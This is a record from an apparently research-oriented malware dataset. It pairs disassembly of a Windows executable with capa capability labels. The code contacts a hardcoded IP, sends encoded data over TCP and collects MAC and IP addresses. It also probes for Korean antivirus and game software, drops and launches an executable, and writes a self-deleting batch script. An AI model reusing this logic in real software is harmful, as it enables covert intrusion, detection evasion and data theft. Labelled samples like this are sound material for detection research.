joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4021c0
Capabilities:
Check if file exists
Create process on windows
Get file attributes
Terminate process

Disassembly:
sub esp, 0xbe8
mov eax, dword [0x433c20]
xor eax, esp
mov dword [esp + 0xbe4], eax
push ebx
push ebp
push esi
push edi
mov edi, dword [esp + 0xbfc]
mov esi, 0x434fa0
call fcn.00402a70
mov ebp, dword [sym.imp.KERNEL32.dll_Sleep]
push 0x7d0
call ebp
lea eax, [esp + 0x10]
call fcn.00401000
lea ebx, [esp + 0x10]
call fcn.004015a0
test eax, eax
je 0x402219
call fcn.004033b0
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov esi, dword [sym.imp.USER32.dll_LoadStringW]
push 0x64
push 0x437bf0
push 0x67
push edi
call esi
push 0x64
push 0x437b28
push 0x6d
push edi
call esi
mov eax, edi
call fcn.004023a0
push 0
push edi
push 0
push 0
push 0
push connect
push 0
push connect
push 0xcf0000
push 0x437bf0
push 0x437b28
push 0
mov dword [0x437cb8], edi
call dword [sym.imp.USER32.dll_CreateWindowExW]
test eax, eax
je 0x40227d
call fcn.00402770
test eax, eax
jne 0x40229a
mov ecx, dword [esp + 0xbf4]
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
xor eax, eax
call fcn.00413473
add esp, 0xbe8
ret 0x10
push 0x6d
push edi
call dword [sym.imp.USER32.dll_LoadAcceleratorsW]
mov eax, dword [0x438340]
test eax, eax
jbe 0x4022d0
cmp word [0x438344], 0
jbe 0x4022d0
push eax
mov esi, str.218.54.31.226
call fcn.00403bf0
mov ax, word [0x438344]
add esp, 4
mov word [0x434fbc], ax
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov ecx, eax
mov eax, 0x10624dd3
mul ecx
mov eax, edx
xor edx, edx
shr eax, 6
mov ecx, 0x3e8
div ecx
push edx
push str.tmp4_X.exe
mov edx, 0x4388b8
call fcn.00402a50
call fcn.00403cd0
xor edx, edx
push 0x206
push edx
lea eax, [esp + 0x9fe]
push eax
mov word [esp + 0xa00], dx
call fcn.004158a0
lea esi, [esp + 0xa00]
call fcn.00403c70
push 0x42ecdc
mov ecx, esi
push 0x104
push ecx
call fcn.00413482
push 0x4388b8
mov edx, esi
push 0x104
push edx
call fcn.00413482
add esp, 0x2c
mov eax, esi
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x40237d
push 0x1f4
call ebp
push 1
push 0
push 0x42ece0
mov ecx, esi
push ecx
push 0
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
test byte [0x43823c], 7
je 0x40238b
call fcn.00401ec0
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
Function at 0x402430
Capabilities:
Check if file exists
Get file attributes

Disassembly:
sub esp, 0x414
mov eax, dword [0x433c20]
xor eax, esp
mov dword [esp + 0x410], eax
push ebx
push esi
push edi
xor eax, eax
push 0x206
push eax
lea ecx, [esp + 0x21e]
push ecx
xor ebx, ebx
mov word [esp + 0x220], ax
call fcn.004158a0
xor edx, edx
push 0x206
push edx
lea eax, [esp + 0x22]
push eax
mov word [esp + 0x24], dx
call fcn.004158a0
add esp, 0x18
push 0x104
lea ecx, [esp + 0x218]
push ecx
call dword [sym.imp.KERNEL32.dll_GetSystemWindowsDirectoryW]
mov esi, dword [sym.imp.USER32.dll_wsprintfW]
push str.HangameKOREANHanUninstall.exe
lea eax, [esp + 0x218]
push eax
lea ecx, [esp + 0x14]
xor edx, edx
push 0x42ed2c
push ecx
mov word [esp + 0x228], dx
call esi
mov edi, dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
add esp, 0x10
lea edx, [esp + 0xc]
push edx
call edi
cmp eax, 0xffffffff
je 0x4024d6
mov ebx, 1
push str.NEOWIZPMangcommonPMLauncher.exe
lea eax, [esp + 0x218]
push eax
lea ecx, [esp + 0x14]
push 0x42ed80
push ecx
call esi
add esp, 0x10
lea edx, [esp + 0xc]
push edx
call edi
cmp eax, 0xffffffff
je 0x402501
or ebx, 2
push str.NetmarbleCommonNetMarbleEndWeb.exe
lea eax, [esp + 0x218]
push eax
lea ecx, [esp + 0x14]
push 0x42eddc
push ecx
call esi
add esp, 0x10
lea edx, [esp + 0xc]
push edx
call edi
cmp eax, 0xffffffff
je 0x40252c
or ebx, 4
push str.Program_FilesAhnLabV3Lite30V3Lite.exe
lea eax, [esp + 0x218]
push eax
lea ecx, [esp + 0x14]
push 0x42ee3c
push ecx
call esi
add esp, 0x10
lea edx, [esp + 0xc]
push edx
call edi
cmp eax, 0xffffffff
je 0x40255a
or ebx, 0x100
push str.Program_FilesESTsoftALYacAYLaunch.exe
lea eax, [esp + 0x218]
push eax
lea ecx, [esp + 0x14]
push 0x42ee9c
push ecx
call esi
add esp, 0x10
lea edx, [esp + 0xc]
push edx
call edi
cmp eax, 0xffffffff
je 0x402588
or ebx, 0x200
push str.Program_Files_naverNaverAgentNaverAgent.exe
lea eax, [esp + 0x218]
push eax
lea ecx, [esp + 0x14]
push str._s_s
push ecx
call esi
add esp, 0x10
lea edx, [esp + 0xc]
push edx
call edi
cmp eax, 0xffffffff
je 0x4025b6
or ebx, 0x400
mov ecx, dword [esp + 0x41c]
pop edi
mov eax, ebx
pop esi
pop ebx
xor ecx, esp
or eax, 0x2000000
call fcn.00413473
add esp, 0x414
ret
Function at 0x402770
Capabilities:
Create thread
Initialize winsock library

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x3e4
mov eax, dword [0x433c20]
xor eax, esp
mov dword [esp + 0x3e0], eax
push edi
xor eax, eax
push 0x206
push eax
lea ecx, [esp + 0x1e2]
push ecx
mov word [esp + 0x1e4], ax
call fcn.004158a0
add esp, 0xc
lea edx, [esp + 8]
push edx
push 0x101
call dword [sym.imp.WS2_32.dll_WSAStartup]
mov ecx, 0x4384b8
call fcn.00402b80
test eax, eax
jne 0x4028b9
push 0x3a
push eax
lea ecx, [esp + 0x1a6]
push ecx
mov word [esp + 0x1a8], ax
call fcn.004158a0
add esp, 0xc
lea edi, [esp + 0x19c]
call fcn.00403640
xor eax, eax
jmp 0x402800
movzx ecx, word [esp + eax + 0x19c]
mov word [eax + 0x438660], cx
add eax, 2
test cx, cx
jne 0x402800
push 0x42ef14
push 0x40
push 0x4384bc
call fcn.00413bac
add esp, 0xc
push 0x42ef30
push 0x10
push 0x43853e
call fcn.00413bac
add esp, 0xc
push 0x42ef3c
push 0x40
push 0x43855e
call fcn.00413bac
mov eax, 0x2b70
mov edx, 0x51
add esp, 0xc
mov word [0x4385de], ax
mov word [0x43853c], dx
xor eax, eax
lea esp, [esp]
movzx ecx, word [esp + eax + 0x19c]
mov word [eax + 0x438640], cx
add eax, 2
test cx, cx
jne 0x402870
mov eax, 0x438640
add eax, 0xfffffffe
nop
mov cx, word [eax + 2]
add eax, 2
test cx, cx
jne 0x402890
mov ecx, dword [0x42ef58]
mov dx, word [0x42ef5c]
mov dword [eax], ecx
mov word [eax + 4], dx
mov dword [0x438680], 5
call fcn.004036e0
lea edi, [esp + 0x1d8]
call fcn.00403640
xor eax, eax
lea esp, [esp]
movzx ecx, word [esp + eax + 0x1d8]
mov word [eax + 0x438478], cx
add eax, 2
test cx, cx
jne 0x4028d0
push 0x438478
push 0
push 0x20000
call dword [sym.imp.KERNEL32.dll_OpenEventW]
test eax, eax
je 0x402919
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
pop edi
mov ecx, dword [esp + 0x3e0]
xor ecx, esp
call fcn.00413473
mov esp, ebp
pop ebp
ret
push 0x438478
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventW]
test eax, eax
je 0x402904
push 0x42ef60
call fcn.00403790
add esp, 4
mov edi, 0x4386b8
mov dword [0x438340], eax
call fcn.004025e0
mov eax, dword [0x438684]
push 0
push 0
push 0
push 0x403b30
push 0
push 0
mov dword [0x4386c0], eax
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov ecx, dword [esp + 0x3e4]
pop edi
xor ecx, esp
mov eax, 1
call fcn.00413473
mov esp, ebp
pop ebp
ret
Function at 0x402a70
Capabilities:
Check os version

Disassembly:
sub esp, 0x120
mov eax, dword [0x433c20]
xor eax, esp
mov dword [esp + 0x11c], eax
push 0x118
lea eax, [esp + 8]
push 0
push eax
mov dword [esi], 0
call fcn.004158a0
add esp, 0xc
lea ecx, [esp]
push ecx
mov dword [esp + 4], 0x11c
call dword [sym.imp.KERNEL32.dll_GetVersionExW]
test eax, eax
je 0x402b6a
mov eax, dword [esp + 4]
cmp eax, 5
jne 0x402b37
mov eax, dword [esp + 8]
test eax, eax
jne 0x402af3
cmp word [esp + 0x114], 4
jb 0x402b6a
mov dword [esi], 1
mov ecx, dword [esp + 0x11c]
xor ecx, esp
call fcn.00413473
add esp, 0x120
ret
cmp eax, 2
jne 0x402b15
mov dword [esi], eax
mov dword [esi], 3
mov ecx, dword [esp + 0x11c]
xor ecx, esp
call fcn.00413473
add esp, 0x120
ret
jae 0x402b1c
cmp eax, 1
jne 0x402b6a
mov dword [esi], 3
mov ecx, dword [esp + 0x11c]
xor ecx, esp
call fcn.00413473
add esp, 0x120
ret
cmp eax, 6
jne 0x402b6a
mov eax, dword [esp + 8]
test eax, eax
jne 0x402b5f
mov dword [esi], 4
mov ecx, dword [esp + 0x11c]
xor ecx, esp
call fcn.00413473
add esp, 0x120
ret
cmp eax, 1
jne 0x402b6a
mov dword [esi], 5
mov ecx, dword [esp + 0x11c]
xor ecx, esp
call fcn.00413473
add esp, 0x120
ret

Function at 0x402c30
Capabilities:
Get common file path
Read file on windows

Disassembly:
sub esp, 0x214
mov eax, dword [0x433c20]
xor eax, esp
mov dword [esp + 0x210], eax
push edi
push 0x206
xor edi, edi
lea ecx, [esp + 0x12]
xor eax, eax
push edi
push ecx
mov word [esp + 0x18], ax
call fcn.004158a0
add esp, 0xc
mov dword [esp + 4], edi
cmp esi, edi
je 0x402cff
mov eax, 0x42e67c
lea edx, [eax + 2]
mov cx, word [eax]
add eax, 2
cmp cx, di
jne 0x402c75
sub eax, edx
sar eax, 1
je 0x402cff
lea edx, [esp + 0xc]
push edx
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
push 0x42e67c
lea eax, [esp + 0x10]
push 0x104
push eax
call fcn.00413482
push 0x42e984
lea ecx, [esp + 0x1c]
push ecx
lea edx, [esp + 0x18]
push edx
call fcn.004135c5
mov eax, dword [esp + 0x1c]
add esp, 0x18
cmp eax, edi
je 0x402cff
push eax
push 1
push 0x200
push esi
call fcn.004138b8
mov eax, dword [esp + 0x14]
push eax
call fcn.0041394c
add esp, 0x14
mov eax, 1
pop edi
mov ecx, dword [esp + 0x210]
xor ecx, esp
call fcn.00413473
add esp, 0x214
ret
mov ecx, dword [esp + 0x214]
mov eax, edi
pop edi
xor ecx, esp
call fcn.00413473
add esp, 0x214
ret

Function at 0x402df0
Capabilities:
Get common file path

Disassembly:
sub esp, 0x218
mov eax, dword [0x433c20]
xor eax, esp
mov dword [esp + 0x210], eax
push ebx
xor eax, eax
push 0x206
push eax
lea ecx, [esp + 0x12]
push ecx
mov word [esp + 0x14], ax
call fcn.004158a0
add esp, 0xc
push 0x104
lea edx, [esp + 0xc]
push edx
mov dword [esp + 0xc], 0
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
movzx eax, word [esp + 8]
sub eax, 0x41
push eax
lea ebx, [esp + 8]
call fcn.00403040
mov ebx, dword [esp + 8]
add esp, 4
call fcn.00403150
cmp eax, 0xffffffff
jne 0x402e72
xor eax, eax
pop ebx
mov ecx, dword [esp + 0x210]
xor ecx, esp
call fcn.00413473
add esp, 0x218
ret
push esi
call fcn.00402d20
mov ecx, dword [esp + 0x218]
add esp, 4
pop ebx
xor ecx, esp
call fcn.00413473
add esp, 0x218
ret
Function at 0x402ea0
Capabilities:
Get disk information via ioctl

Disassembly:
sub esp, 0x10
push ebx
push ebp
push esi
push edi
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
xor ebp, ebp
xor edi, edi
xor ebx, ebx
cmp dword [esp + 0x24], 0xffffffff
mov dword [esp + 0x10], ebp
mov dword [esp + 0x18], ebp
je 0x402fbe
push 0xc00
call fcn.00409012
mov ecx, dword [esp + 0x28]
add esp, 4
push ebx
mov esi, eax
lea eax, [esp + 0x18]
push eax
push 0xc00
push esi
push ebx
push ebx
push 0x70050
push ecx
call dword [sym.imp.KERNEL32.dll_DeviceIoControl]
test eax, eax
je 0x402fb1
mov eax, dword [esi + 0x3c]
mov ecx, dword [esi + 0x38]
test eax, eax
jl 0x402f19
jg 0x402f0d
test ecx, ecx
jbe 0x402f19
mov ebx, dword [esi + 0x40]
mov ebp, dword [esi + 0x44]
mov edx, ecx
mov edi, eax
jmp 0x402f1d
mov edx, dword [esp + 0x18]
mov eax, dword [esi + 0xcc]
cmp eax, edi
mov ecx, dword [esi + 0xc8]
jl 0x402f47
jg 0x402f33
cmp ecx, edx
jbe 0x402f47
mov ebx, dword [esi + 0xd0]
mov ebp, dword [esi + 0xd4]
mov dword [esp + 0x18], ecx
mov edi, eax
mov edx, ecx
mov eax, dword [esi + 0x15c]
cmp eax, edi
mov ecx, dword [esi + 0x158]
jl 0x402f71
jg 0x402f5d
cmp ecx, edx
jbe 0x402f71
mov ebx, dword [esi + 0x160]
mov ebp, dword [esi + 0x164]
mov dword [esp + 0x18], ecx
mov edi, eax
mov edx, ecx
mov eax, dword [esi + 0x1ec]
cmp eax, edi
mov ecx, dword [esi + 0x1e8]
jl 0x402f9b
jg 0x402f87
cmp ecx, edx
jbe 0x402f9b
mov ebx, dword [esi + 0x1f0]
mov ebp, dword [esi + 0x1f4]
mov dword [esp + 0x18], ecx
mov edi, eax
mov edx, ecx
push 0
add ebx, edx
push 0x200
adc ebp, edi
push ebp
push ebx
call fcn.004176b0
mov dword [esp + 0x10], eax
test esi, esi
je 0x402fbe
push esi
call fcn.00409041
add esp, 4
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [esp + 0x10]
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x10
ret

Function at 0x402fe0
Capabilities:
Read file on windows

Disassembly:
sub esp, 0x18
xor ecx, ecx
xor eax, eax
mov dword [esp + 4], eax
mov dword [esp + 8], ecx
mov dword [esp + 0xc], ecx
mov dword [esp + 0x10], ecx
mov dword [esp + 0x14], ecx
mov dword [esp], eax
cmp esi, 0xffffffff
je 0x403031
mov eax, dword [esp + 0x1c]
mov ecx, 0x200
mul ecx
mov ecx, dword [esp + 0x20]
mov dword [esp + 0x10], edx
lea edx, [esp + 4]
push edx
mov dword [esp + 0x10], eax
lea eax, [esp + 4]
push eax
push 0x400
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_ReadFile]
add esp, 0x18
ret
Function at 0x403290
Capabilities:
Read file on windows
Write file on windows

Disassembly:
push ecx
push 0x42ea54
push eax
lea ecx, [esp + 8]
push ecx
mov dword [esp + 0xc], 0
call fcn.004135c5
add esp, 0xc
test eax, eax
je 0x4032b4
xor eax, eax
pop ecx
ret
mov edx, dword [esp]
push ebx
push ebp
push esi
push edi
push 2
push 0
push edx
call fcn.0041456b
mov eax, dword [esp + 0x1c]
push eax
call fcn.0041478d
mov ecx, dword [esp + 0x20]
push 0
push 0
push ecx
mov esi, eax
call fcn.0041456b
lea ebp, [esi + 0x32]
push ebp
call fcn.0041484a
mov edx, dword [esp + 0x30]
push edx
push 1
mov edi, eax
push esi
push edi
call fcn.004138b8
mov eax, dword [esp + 0x40]
push eax
call fcn.0041394c
lea ebx, [edi + esi]
mov eax, 0x32
call fcn.00403360
mov ecx, dword [esp + 0x4c]
push 0x42ea5c
push ecx
lea edx, [esp + 0x4c]
push edx
call fcn.004135c5
add esp, 0x40
test eax, eax
je 0x403332
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
pop ecx
ret
mov eax, dword [esp + 0x10]
push eax
push 1
push ebp
push edi
call fcn.00413b2a
mov ecx, dword [esp + 0x20]
push ecx
call fcn.0041394c
add esp, 0x14
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
pop ecx
ret
Function at 0x4033b0
Capabilities:
Create process on windows
Get common file path
Self delete
Write and execute a file
Write file on windows

Disassembly:
sub esp, 0x320
mov eax, dword [0x433c20]
xor eax, esp
mov dword [esp + 0x31c], eax
mov eax, dword [str._sannuyex.bat]
mov ecx, dword [0x42ea68]
mov edx, dword [0x42ea6c]
push 0x103
mov dword [esp + 8], ecx
mov dword [esp + 4], eax
mov ax, word [0x42ea70]
lea ecx, [esp + 0x15]
push 0
push ecx
mov dword [esp + 0x14], edx
mov word [esp + 0x18], ax
mov byte [esp + 0x1c], 0
call fcn.004158a0
push 0x103
lea edx, [esp + 0x125]
push 0
push edx
mov byte [esp + 0x12c], 0
call fcn.004158a0
push 0x103
lea eax, [esp + 0x235]
push 0
push eax
mov byte [esp + 0x23c], 0
call fcn.004158a0
add esp, 0x24
lea ecx, [esp + 0x114]
push ecx
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
lea eax, [esp]
mov edx, eax
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x403455
push esi
push edi
lea edi, [esp + 0x11c]
sub eax, edx
dec edi
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x403468
mov ecx, eax
shr ecx, 2
mov esi, edx
rep movsd dword es:[edi], dword [esi]
push 0x104
lea edx, [esp + 0x1c]
mov ecx, eax
push edx
and ecx, 3
push 0
rep movsb byte es:[edi], byte [esi]
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea eax, [esp + 0x18]
push eax
lea ecx, [esp + 0x224]
push 0x104
push ecx
call fcn.00414914
lea edx, [esp + 0x22c]
push 0x5c
push edx
call fcn.00414480
add esp, 0x14
test eax, eax
je 0x4034c2
mov byte [eax], 0
lea eax, [esp + 0x11c]
push 0x42ea74
push eax
call fcn.00414a40
mov esi, eax
add esp, 8
test esi, esi
je 0x403624
push esi
push 1
push 9
push str.:Repeat_r_n
call fcn.00413b2a
push esi
push 1
push 5
push 0x42ea84
call fcn.00413b2a
lea eax, [esp + 0x38]
add esp, 0x20
lea edx, [eax + 1]
lea esp, [esp]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x403510
push esi
sub eax, edx
push 1
push eax
lea ecx, [esp + 0x24]
push ecx
call fcn.00413b2a
push esi
push 1
push 2
push 0x42ea8c
call fcn.00413b2a
push esi
push 1
push 0xa
push str.if_exist__
call fcn.00413b2a
lea eax, [esp + 0x48]
add esp, 0x30
lea edx, [eax + 1]
nop
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x403550
push esi
sub eax, edx
push 1
push eax
lea edx, [esp + 0x24]
push edx
call fcn.00413b2a
push esi
push 1
push 0xf
push str.__goto_Repeat_r_n
call fcn.00413b2a
push esi
push 1
push 7
push str.rmdir__
call fcn.00413b2a
lea eax, [esp + 0x250]
add esp, 0x30
lea ecx, [eax + 1]
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x403592
push esi
sub eax, ecx
push 1
push eax
lea eax, [esp + 0x22c]
push eax
call fcn.00413b2a
push esi
push 1
push 3
push 0x42eab4
call fcn.00413b2a
push esi
push 1
push 5
push str.del__
call fcn.00413b2a
lea eax, [esp + 0x14c]
add esp, 0x30
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x4035d7
push esi
sub eax, edx
push 1
push eax
lea ecx, [esp + 0x128]
push ecx
call fcn.00413b2a
push esi
push 1
push 1
push 0x42eac0
call fcn.00413b2a
push esi
call fcn.0041394c
add esp, 0x24
push 0
push 0
push 0
lea edx, [esp + 0x128]
push edx
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
mov ecx, dword [esp + 0x324]
pop edi
pop esi
xor ecx, esp
call fcn.00413473
add esp, 0x320
ret
Function at 0x403930
Capabilities:
Get local ipv4 addresses
Get mac address on windows

Disassembly:
push ecx
push ebx
push ebp
mov ebp, dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push esi
push edi
xor ebx, ebx
mov dword [esp + 0x10], 0x3a98
mov eax, dword [esp + 0x10]
push eax
push 0
call ebp
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov esi, eax
test esi, esi
je 0x4039a9
lea ecx, [esp + 0x10]
push ecx
push esi
push 0
push 0x10
push 2
call sub.IPHLPAPI.DLL_GetAdaptersAddresses
mov edi, eax
cmp edi, 0x6f
jne 0x403981
push esi
push 0
call ebp
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
xor esi, esi
inc ebx
cmp edi, 0x6f
jne 0x4039b2
cmp ebx, 3
jb 0x403945
mov edi, 0xfffffffd
test esi, esi
je 0x4039a1
push esi
push 0
call ebp
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov eax, edi
pop edi
pop esi
pop ebp
pop ebx
pop ecx
ret
pop edi
pop esi
pop ebp
or eax, 0xffffffff
pop ebx
pop ecx
ret
test edi, edi
jne 0x40398c
mov eax, esi
test esi, esi
je 0x403a1e
mov ecx, 6
cmp dword [eax + 0x34], ecx
jne 0x4039cc
cmp dword [eax + 0x1c], 0
jne 0x4039d7
mov eax, dword [eax + 8]
test eax, eax
jne 0x4039c1
xor edi, edi
jmp 0x403991
mov edx, dword [eax + 0x2c]
mov ecx, dword [esp + 0x18]
mov dword [ecx], edx
mov dx, word [eax + 0x30]
mov word [ecx + 4], dx
mov ecx, dword [eax + 0x10]
mov edx, dword [ecx + 0xc]
movzx edx, byte [edx + 4]
mov ecx, dword [esp + 0x1c]
mov byte [ecx + 3], dl
mov edx, dword [eax + 0x10]
mov edx, dword [edx + 0xc]
movzx edx, byte [edx + 5]
mov byte [ecx + 2], dl
mov edx, dword [eax + 0x10]
mov edx, dword [edx + 0xc]
movzx edx, byte [edx + 6]
mov byte [ecx + 1], dl
mov eax, dword [eax + 0x10]
mov edx, dword [eax + 0xc]
mov al, byte [edx + 7]
mov byte [ecx], al
xor edi, edi
jmp 0x403991

Function at 0x403d80
Capabilities:
Check if file exists
Get file attributes

Disassembly:
sub esp, 0x414
mov eax, dword [0x433c20]
xor eax, esp
mov dword [esp + 0x410], eax
push ebp
push ebx
push edi
call fcn.00403eb0
mov ebp, eax
add esp, 8
test ebp, ebp
jne 0x403e94
push esi
push 0x206
push eax
lea ecx, [esp + 0x12]
push ecx
mov word [esp + 0x14], ax
call fcn.004158a0
xor edx, edx
push 0x206
push edx
lea eax, [esp + 0x226]
push eax
mov word [esp + 0x228], dx
call fcn.004158a0
lea esi, [esp + 0x20]
call fcn.00403c70
push 0x42eb1c
mov ecx, esi
push 0x104
push ecx
call fcn.00413482
add esp, 0x24
mov esi, 0x437cc0
nop
cmp word [esi], 0
je 0x403e33
lea edx, [esp + 8]
push edx
lea eax, [esp + 0x214]
push 0x104
push eax
call fcn.00413bac
push esi
lea ecx, [esp + 0x220]
push 0x104
push ecx
call fcn.00413482
add esp, 0x18
add esi, 0x118
cmp esi, 0x438238
jl 0x403e00
mov esi, 0x437cc0
cmp word [esi], 0
je 0x403e57
push ebx
push edi
push esi
call fcn.00404700
add esp, 0xc
add esi, 0x118
cmp esi, 0x438238
jl 0x403e46
push 0x4388b8
lea edx, [esp + 0xc]
push 0x104
push edx
call fcn.00413482
add esp, 0xc
lea eax, [esp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
pop esi
cmp eax, 0xffffffff
jne 0x403e92
mov ebp, 2
mov eax, ebp
mov ecx, dword [esp + 0x414]
pop ebp
xor ecx, esp
call fcn.00413473
add esp, 0x414
ret
Function at 0x4040b0
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Create tcp socket
Initialize winsock library
Resolve dns

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x9ac
mov eax, dword [0x433c20]
xor eax, esp
mov dword [esp + 0x9a8], eax
mov eax, dword [ebp + 0xc]
push ebx
xor ebx, ebx
lea ecx, [esp + 0x1a8]
cmp eax, ebx
je 0x4040dd
mov ecx, eax
xor eax, eax
mov word [ecx], ax
lea ecx, [esp + 0x18]
push ecx
push 0x101
mov dword [esp + 0xc], ebx
call dword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
je 0x40410f
xor eax, eax
pop ebx
mov ecx, dword [esp + 0x9a8]
xor ecx, esp
call fcn.00413473
mov esp, ebp
pop ebp
ret
push 6
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
mov dword [esi], eax
cmp eax, 0xffffffff
je 0x4040fa
push edi
call dword [sym.imp.WS2_32.dll_gethostbyname]
test eax, eax
jne 0x40414b
push edi
call dword [sym.imp.WS2_32.dll_inet_addr]
push 2
push 4
lea edx, [esp + 0xc]
push edx
mov dword [esp + 0x10], eax
call dword [sym.imp.WS2_32.dll_gethostbyaddr]
test eax, eax
je 0x40419d
mov eax, dword [eax + 0xc]
mov ecx, dword [eax]
mov edx, dword [ecx]
mov ecx, dword [ebp + 8]
mov eax, 2
push ecx
mov dword [esp + 0x10], edx
mov word [esp + 0xc], ax
call dword [sym.imp.WS2_32.dll_htons]
push 0x10
lea edx, [esp + 0xc]
mov word [esp + 0xe], ax
mov eax, dword [esi]
push edx
push eax
call dword [sym.imp.WS2_32.dll_connect]
test eax, eax
jne 0x40419d
mov ebx, 1
mov eax, ebx
pop ebx
mov ecx, dword [esp + 0x9a8]
xor ecx, esp
call fcn.00413473
mov esp, ebp
pop ebp
ret
mov eax, dword [esi]
test eax, eax
je 0x4041ac
push eax
call dword [sym.imp.WS2_32.dll_closesocket]
mov dword [esi], ebx
mov ecx, dword [esp + 0x9ac]
mov eax, ebx
pop ebx
xor ecx, esp
call fcn.00413473
mov esp, ebp
pop ebp
ret

Function at 0x404310
Capabilities:
Send data
Send data on socket

Disassembly:
push ecx
mov ecx, dword [esp + 8]
push ebx
xor eax, eax
push ebp
mov ebp, dword [esp + 0x14]
push esi
mov dword [esp + 0xc], eax
cmp dword [ecx], eax
je 0x404392
cmp edi, eax
jle 0x40433d
lea ebx, [ebx]
mov dl, byte [eax + ebp]
not dl
mov byte [eax + ebp], dl
inc eax
cmp eax, edi
jl 0x404330
lea ebx, [edi + 7]
push ebx
call fcn.00409012
mov esi, eax
lea eax, [edi + 5]
mov word [esi], ax
mov ecx, dword [str.AS101]
push edi
mov dword [esi + 2], ecx
mov dl, byte [0x434fa8]
lea eax, [esi + 7]
push ebp
push eax
mov byte [esi + 6], dl
call fcn.00419b90
mov ecx, dword [esp + 0x24]
mov edx, dword [ecx]
add esp, 0x10
push 0
push ebx
push esi
push edx
call dword [sym.imp.WS2_32.dll_send]
cmp eax, 0xffffffff
je 0x404396
cmp eax, ebx
jne 0x404396
mov dword [esp + 0xc], 1
jmp 0x404396
mov esi, dword [esp + 0x14]
test esi, esi
je 0x4043a3
push esi
call fcn.00409041
add esp, 4
mov eax, dword [esp + 0xc]
pop esi
pop ebp
pop ebx
pop ecx
ret